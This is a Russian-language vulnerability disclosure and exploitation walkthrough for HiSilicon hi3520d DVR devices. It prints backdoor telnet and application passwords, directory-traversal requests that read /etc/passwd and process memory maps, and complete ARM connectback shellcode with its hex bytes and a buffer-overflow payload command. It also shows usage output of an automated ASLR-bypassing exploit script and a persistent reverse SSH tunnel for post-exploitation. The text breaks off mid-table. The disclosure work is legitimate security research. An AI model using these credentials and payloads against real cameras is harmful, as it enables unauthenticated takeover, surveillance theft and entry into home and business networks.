
Эксплойт уровня proof-of-concept и раскрытие уязвимостей для DVR/NVR-устройств HiSilicon hi3520d. Демонстрирует RCE через веб-интерфейс, учётные данные бэкдора и анализ переполнения буфера.
= Взлом DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%
[abstract] В этом отчёте раскрываются серьёзные уязвимости (с кодом доказательства концепции (PoC)) устройств DVR/NVR, построенных на HiSilicon hi3520d и аналогичных системах на кристалле (SoC). Эксплуатация уязвимостей приводит к несанкционированному удалённому выполнению кода (RCE) только через веб-интерфейс, что приводит к полному захвату взломанного устройства. Из-за отсутствия обновлённых прошивок использование этих устройств не рекомендуется. Связались с производителем до декабря 2016 г., но ответа до сих пор нет. Дата публикации раскрытия — февраль 2017 г.
== предисловие
Пару лет назад я купил дешёвое китайское устройство DVR на eBay. Загрузочный логотип устройства гласит: «SECULINK - Security Monitoring». Будучи энтузиастом ИТ-безопасности, я решил внимательнее изучить устройство, чтобы увидеть, насколько «безопасен» этот сервис видеонаблюдения. Гугля по этой теме, я нашёл некоторые интересные материалы, но копнул глубже и обнаружил гораздо более интересные и серьёзные проблемы (0-day) об этом устройстве.
Давайте рассмотрим весь процесс взлома с самого начала. (Новые собственные достижения будут отмечены наряду со старыми, известными.)
== изучаем DVR
Сначала нам следует изучить официальный пользовательский интерфейс, затем копнуть глубже, возможно, попытаться получить прошивку. Шансы найти уязвимости возрастают вместе с прошивкой.
=== DVR с первого взгляда
Устройство DVR, предназначенное для тестирования, имеет бренд «Seculink».
image::./seculink_device.png[Устройство DVR Seculink]
Доступные физические интерфейсы:
Официальные пользовательские интерфейсы:
Непосредственно доступный интерфейс настройки ограничен аутентификацией пользователя (имя пользователя, пароль). Суперпользователь по умолчанию — 'admin', пароль по умолчанию пустой.
После установки надёжного пароля пользователь может чувствовать себя в безопасности, что его/её видео с камер не доступно другим. Люди часто пробрасывают веб-порт (tcp/80) устройства DVR из своей защищённой локальной сети в WAN, чтобы получить доступ к потокам DVR извне (это можно проверить, например, подходящим поиском в Shodan ;) ).
=== получение прошивки
Существует много способов получить прошивку:
Хотя последний (загрузка) метод здесь работает и является самым простым, давайте попробуем первый, потому что он также даёт другую информацию об устройстве.
=== сканирование служб
Давайте выполним полное сканирование портов на DVR. Обратите внимание, что SYN-сканирование (по умолчанию, если запущено от root) очень медленное из-за отбрасываемых пакетов, но полное TCP-сканирование с установкой соединения завершается за пару минут.
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
Обобщая и проводя ручное тестирование:
Обратите внимание, что для открытия rtsp-потока также требуются учётные данные.
Здесь следует отметить, что устройство, вероятно, является некоторой Linux-подобной системой.
Подключение к 9527/tcp (с помощью чистого netcat) показывает консоль приложения
с журналируемыми сообщениями и приглашением входа. Вход с любыми
определёнными учётными данными приложения работает. Команда help после
приглашения даёт краткое описание команд консоли. Команда
shell кажется наиболее интересной. Да, она даёт root-шелл на
устройстве. ;)
Обратите внимание, что это, очевидно, серьёзная проблема безопасности, потому что любой (низкопривилегированный) пользователь приложения не должен автоматически получать root-шелл на устройстве.
=== root-шелл
Исследование устройства в root-шелле (например, с помощью dmesg) делает
очевидным, что DVR работает под управлением ядра Linux (версии 3.0.8), у него
процессор ARMv7, модель SoC — hi3520d.
Из списка запущенных процессов (ps) ясно, что приложением DVR
является /var/Sofia, который, помимо указанных выше TCP-портов, обнаруженных
nmap, также прослушивает 34568/udp и 34569/udp
(netstat -nlup).
Из списка смонтированных дисков (команда mount) ясно, что
образ прошивки находится в устройствах /dev/mtdblockX (где X=0,1,2,3,4,5).
Прошивка небольшая и, следовательно, ограниченная, поэтому нам придётся проявить изобретательность, если мы хотим копировать файлы на устройство или с него. К счастью, NFS поддерживается, поэтому настройка NFS-сервера на нашем рабочем компьютере и монтирование его с DVR решает проблему:
Теперь получить прошивку несложно:
Мы можем получить и файлы (не только сырые образы):
=== telnet-интерфейс
Для доступа к устройству через telnet-интерфейс (порт 23/tcp) нам
могут понадобиться учётные данные ОС. Заглянув в /etc/passwd, мы видим
хэш пароля для пользователя root:
Обратите внимание, что кроме root других пользователей нет, всё работает с полными привилегиями. (Поэтому если кто-то каким-либо образом проникнет на устройство, препятствий нет — атакующий немедленно получает полную власть.)
Предполагая шестисимвольный буквенно-цифровой пароль (в нижнем регистре), hashcat быстро взламывает указанный выше слабый DES-хэш:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
Итак, с пользователем root и паролем xc3511 возможен вход через telnet-интерфейс
на порту 23/tcp. Эта жёстко прописанная учётная запись root,
доступная через незакрываемый telnet-интерфейс, очевидно, является бэкдором.
Эти результаты были почти доступны другим ещё до нашего исследования, но следующее является совершенно новым.
== реверс-инжиниринг прошивки
Исследуя прошивку, выясняется, что бинарный файл /var/Sofia является
основным приложением, которое реализует все интерфейсы, кроме обработки видео
и прочих. Поэтому этот бинарный файл кажется нам наиболее интересным.
К сожалению, он (статически слинкован и) лишён символов, что затрудняет статический анализ:
Поэтому помимо статического анализа (с помощью radare2 или IDA) динамический анализ должен быть очень полезен.
=== удалённый gdb
Для динамического анализа полезно подключить отладчик GNU Project debugger (GDB)
к удалённому приложению /var/Sofia. Рекомендуемый метод —
запустить (и прикрепить) gdbserver на удалённом устройстве и подключить
gdb к нему с локальной машины.
Конечно, нам нужен gdbserver, скомпилированный (желательно статически) для
соответствующей архитектуры ARM. Чтобы собрать его, мы можем использовать
https://www.uclibc.org/[µClibc] — рекомендуемую библиотеку C для
встраиваемых систем (как наш DVR). Доступные сборки являются динамическими,
что проблематично на нашем DVR, поэтому мы должны сделать собственные статические сборки
сами. Существует хорошая сборочная среда под названием
https://buildroot.org/[Buildroot], которая позволяет собирать
из коробки (выберите требуемые приложения (например, gdb) с помощью
make menuconfig, не забудьте выбрать статические библиотеки, затем запустите
make).
После недолгой сборки (~10-15 минут) все необходимые инструменты будут
доступны. Статические бинарные файлы можно передать на устройство
упомянутым ранее методом NFS. Обратите внимание, что каталог /var,
содержащий бинарный файл Sofia, является ramfs, поэтому он не сохраняется между
перезагрузками. Если мы хотим перенести бинарные файлы (почти) постоянно,
rw-раздел /mnt/mtd, содержащий файлы конфигурации, должен быть
подходящей целью. Если вы также соберёте пакет openssh, будет доступен
scp, что облегчит передачу файлов.
Теперь прошивка готова к реверсу. Подключение gdbserver
удалённо теперь работает (получить PID процесса Sofia легко с помощью
ps):
Подключение с локальной машины:
Обратите внимание, что рекомендуется использовать какое-либо расширение GDB (например,
http://gef.readthedocs.io/en/master/[GEF]). Если приостановка
приложения не работает (с помощью C-c) по какой-то причине, отправка сигнала TRAP
процессу Sofia (командой kill -TRAP 610) должна приостановить его.
=== изучаем процедуру аутентификации
Рекомендуемым инструментом для статического анализа, очевидно, является https://www.hex-rays.com/products/ida/[IDA Pro] от Hex-Ray. К сожалению, он не дёшев, но намного лучше любых других инструментов.
После начального автоматического анализа насчитывается более 15 000 функций, но поиск функции аутентификации занимает всего мгновение с IDA (с помощью простых Python-скриптов). Приведённый ниже фрагмент https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] ищет все функции, которые ссылаются на что-либо связанное с "Users" и "Password" (одновременно):
Результат — только одна функция: sub_2D857C. Быстрый анализ этой
функции подтверждает, что это должна быть функция аутентификации.
В начале выполняется проверка пароля в открытом виде на соответствие жёстко прописанной
строке (перед получением хэша пароля пользователя из конфигурации).
Если проверка пройдена, аутентификация предоставляется. Это уродливый бэкдор в
приложении. Универсальный пароль: I0TO5Wv9.
С этим паролем мы можем получить доступ ко всему в приложении от имени любого пользователя (например, admin). Например, получить видеопоток:
Или получить root-шелл в консоли приложения (9527/tcp) тоже работает:
$ nc 192.168.88.127 9527 nc: using stream socket
Ещё один интересный результат в алгоритме аутентификации:
в некоторых обстоятельствах функция аутентификации принимает не только
пароль, но и хэш. Открыть rtsp-видеопоток
можно не только по паролю, но и по хэшу (который хранится
в /mnt/mtd/Config/Account1). Например, tlJwpbo6 — это
хэш пустого пароля (см. также следующий раздел), поэтому```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
также работает.
=== функция хеширования пароля
Ещё один результат более глубокого статического анализа функции аутентификации: функция хеширования пароля — это `sub_3DD5E4`. По сути, это MD5 с некоторыми странными преобразованиями. Я восстановил её логику и реализовал на Python:
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
С реализованным алгоритмом хеширования становится возможным перебор паролей или установка произвольных паролей.
== переполнение буфера во встроенном веб-сервере
Бинарный файл Sofia обрабатывает HTTP-запросы на порту 80/tcp. Попробуем немного профаззить запросы. Конечно, подключение gdb (см. выше) должно помочь. Вообще-то, нам стоит убить процесс Sofia и перезапустить его с gdbserver, чтобы также видеть вывод консоли:
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
И локально:
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
Теперь посмотрим на GET-запросы. Без ответа:
----
$ echo 'GET /' | nc 192.168.88.127 80
----
Нормальный ответ (даже без корректного завершения и/или перевода строки в конце):
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
Проверим переполнение с помощью очень длинного запроса:
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
Отлично. В ответе приходит 200 с сообщением «404 File Not Found», но в gdb мы можем наблюдать чудесное падение. ;)
Обратите внимание, что для приложения Sofia включён модуль ядра watchdog. Если оно не работает в течение минуты, устройство перезагружается. С одной стороны, это хорошо, если мы экспериментируем с удалённым устройством, но с другой — плохо, если мы хотим спокойно отлаживаться.
Watchdog нельзя отключить после запуска, поэтому единственный способ избавиться от него — изменить read-only прошивку, перепрошив устройство. Это не рекомендуется, если только мы не хотим превратить наше тестовое устройство в кирпич. ;)
=== управление потоком выполнения
Почему падение чудесно (с точки зрения атакующего)? Удалённый процесс Sofia получил SIGSEGV (нарушение сегментации), стек заполнен нашими символами «a», но самое главное: регистр $pc (счётчик команд) содержит наше внедрённое значение `0x61616160` («aaaa» - 1) (вероятно, вызвано инструкцией ret, но причина не важна). Это классическое переполнение стека, а значит, у нас есть возможность легко управлять потоком выполнения.
После некоторых экспериментов (методом деления интервала пополам):
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
Это тоже приводит к SIGSEGV, и регистр $pc равен `0x7a797876` (~«wxyz»; в обратном порядке, так как порядок байтов little-endian; и -1 из-за выравнивания). Наша нагрузка начинается (с «0123aaa...») на $sp+0x14 (база стека + 0x14).
=== удалённое выполнение кода
Проще всего и эффективнее всего эксплуатировать такое переполнение, внедрив шелл-код в стек и перенаправив туда поток выполнения. Так мы получаем произвольное удалённое выполнение кода на целевом устройстве. Поскольку в ОС устройства нет разделения привилегий, это означает полный контроль (доступ к корневой оболочке).
Однако могут быть включены современные механизмы защиты от эксплойтов, которые могут значительно усложнить жизнь атакующему.
Самый базовый способ защиты от шелл-кодов в стеке — технология бита No-eXecute (NX). Она предотвращает выполнение кода на выбранных страницах памяти (обычно страницах с правом записи, например, в стеке). К счастью (с точки зрения атакующего ;) ), бит NX не установлен (посмотрите на флаги STACK, rwx):
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
или просто используйте `checksec` в gdb gef. `checksec` в gdb gef также сообщает нам, что других механизмов защиты, таких как stack canary, нет (что очевидно, ведь мы не могли бы управлять $pc через переполнение стека, если бы присутствовал stack canary).
Единственное, что нам нужно знать, чтобы RCE заработал, — это адрес стека. Мы должны внедрить адрес $sp+0x14 в соответствующую позицию нашей нагрузки («wxyz» выше), чтобы перенаправить поток выполнения на шелл-код.
Существует также механизм защиты, который может затруднить это (или очень затруднить, почти до невозможности в некоторых случаях): рандомизация адресного пространства (ASLR). ASLR рандомизирует базовые адреса сегментов памяти (например, базовый адрес стека).
Как назло, ASLR включён («2» означает полную рандомизацию, «0» — отключена):
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== RCE без ASLR
Сначала попробуем эксплуатировать переполнение с выключенным ASLR.
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
Следуя описанной выше процедуре, мы получаем, что адрес стека ($sp) равен 0x5a26f3d8 в момент падения SIGSEGV (и он одинаков при разных запусках с выключенным ASLR).
Итак, нагрузка должна быть такой:
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
где шелл-код должен быть тем, что мы хотим выполнить, желательно connectback-шелл-код. Обратите внимание, что есть «badchars» (плохие символы), которых следует избегать: 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?'). Кроме того, есть ограничение в 299 байт. Генераторы шелл-кода не могут работать с нашим списком плохих символов, и даже автоматические энкодеры не решают проблему (из-за ограничения размера).
Поэтому нужно сгенерировать собственный шелл-код. Приведённый здесь шелл-код даёт connectback-оболочку, используя системные вызовы socket, connect, dup2 и execve (или вызовы супервизора в терминологии мира ARM). Нужно быть строгими и творческими, чтобы избежать плохих символов. Метки использовать не обязательно, они нужны только для удобства чтения.
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
Компиляция шелл-кода и получение сырых бинарных байтов (подойдёт любой кросс-инструмент для ARM, например, собранный с помощью buildroot в `buildroot-2017.02.5/output/host/usr/bin/`):
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
Внедрение этого вместе с нагрузкой должно заставить эксплойт сработать и дать connectback-оболочку на удалённом устройстве.
Конечно, сначала запустим слушатель на `192.168.88.100`:
----
$ nc -nvlp 31337
----
Затем запускаем нагрузку:
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
Эксплойт должен сработать! :) В локальном gdb:
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
И RCE готов на слушателе netcat:
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
Теперь возможно выполнение произвольных команд (от root!) на удалённой системе.
Но, к сожалению, эксплойт пока не готов к реальному применению, потому что ASLR включён, и мы не знаем начальный адрес шелл-кода. Пока.
==== обход ASLR
Обойти ASLR непросто, но часто это можно сделать, проявив немного творчества. Обычно есть два способа:
* найти слабость в рандомизаторе и атаковать его перебором или частичной утечкой / частичной перезаписью,
* получить утечку рандомизированных адресов памяти удалённого бинарного файла.
Перебор, похоже, бесполезен (обращение к неверному адресу вызывает падение и медленную перезагрузку), поэтому остаётся только утечка (если мы её найдём).
После долгого исследования почти пришлось сдаться — утечку найти не удалось, но затем идея пришла с совершенно другой стороны.
В веб-сервере есть другая уязвимость — классический обход каталога (directory traversal). Более того, она также работает для вывода списка каталогов (это тоже будет важно).
Уязвимость обхода каталога означает:
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
и мы также можем получить список каталога:
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
Обратите внимание, что эта уязвимость серьезна, потому что атакующий может читать любые файлы, включая записанные видео (если на устройстве есть HDD-накопитель).
Более того, эта уязвимость может помочь нам обойти ASLR.
Файловая система `/proc` содержит много информации о запущенных процессах в каталогах `/proc/[pid]`. Вывести список `/proc` можно с помощью `GET ../../proc`, так мы можем получить все PID. Если `/proc/[pid]/cmdline` равен `/var/Sofia`, значит, PID приложения найден.
Наиболее важная информация для обхода ASLR находится в `/proc/[pid]/smaps`. Этот файл содержит статистику страниц памяти, адреса страниц и другую интересную информацию (например, RSS). Например:
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
Это только одна страница, в выгрузке около ~150 страниц.
Анализируя структуру выше (обращая внимание на размеры страниц, закономерности и т.д.), можно предположить (экспериментально и эвристически), какая из них содержит стек нужного потока. Смещение стека от базового адреса постоянно (оно равно 0x7fd3d8).
Фрагмент, определяющий страницу памяти:
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
где `smaps[t][1][0]` — размер `t`-й полной страницы, `smaps[t][1][1]` — соответствующее значение RSS.
Этот фрагмент является частью полного скрипта эксплойта, который автоматически работает против различных целей HiSilicon с включённым ASLR. Краткое описание скрипта:
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== пост-эксплуатация
Что мы можем сделать с этим RCE? Всё. Помните, что это неавторизованный RCE, который использует только порт веб-сервиса 80/tcp. Этот порт обычно проброшен наружу, поэтому если атакующий эксплуатирует этот RCE, он/она получает доступ к внутренней LAN.
Наш скрипт эксплойта имеет несколько приятных функций, например, он может загружать (заранее скомпилированные) инструменты на устройство жертвы.
Если мы хотим создать постоянный, стабильный бэкдор, мы можем загрузить Dropbear, заставить его слушать локально и открыть обратный SSH-туннель наружу. С такой архитектурой можно будет входить в устройство DVR откуда угодно и когда угодно.$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----
Теперь устройство доступно через обратный туннель по SSH:
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== сводка
Ниже приведены задокументированные уязвимости:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|уязвимость |риск |сервис |обнаружена |воздействие
|жёстко прописанный (бэкдор) пароль telnet |высокий |23/tcp |ранее другими
|любой, у кого есть доступ к интерфейсу telnet, может получить полный
контроль над устройством, даже если пользователь установил надёжные пароли
|доступ к root-оболочке с любой учётной записью приложения |высокий |9527/tcp |автором
|любой, у кого есть любая учётная запись приложения и доступ к сервисной
консоли, может повысить привилегии вплоть до полного (shell) контроля
над устройством
|*бэкдор-пароль приложения* |критический |80/tcp, 554/tcp |автором
|любой может получить доступ к устройству как администратор приложения,
даже если пользователь установил надёжные пароли для защиты
устройства
|*переполнение буфера во встроенном веб-сервере* |критический |80/tcp |автором
|эксплуатируя переполнение буфера, атакующий может получить удалённое
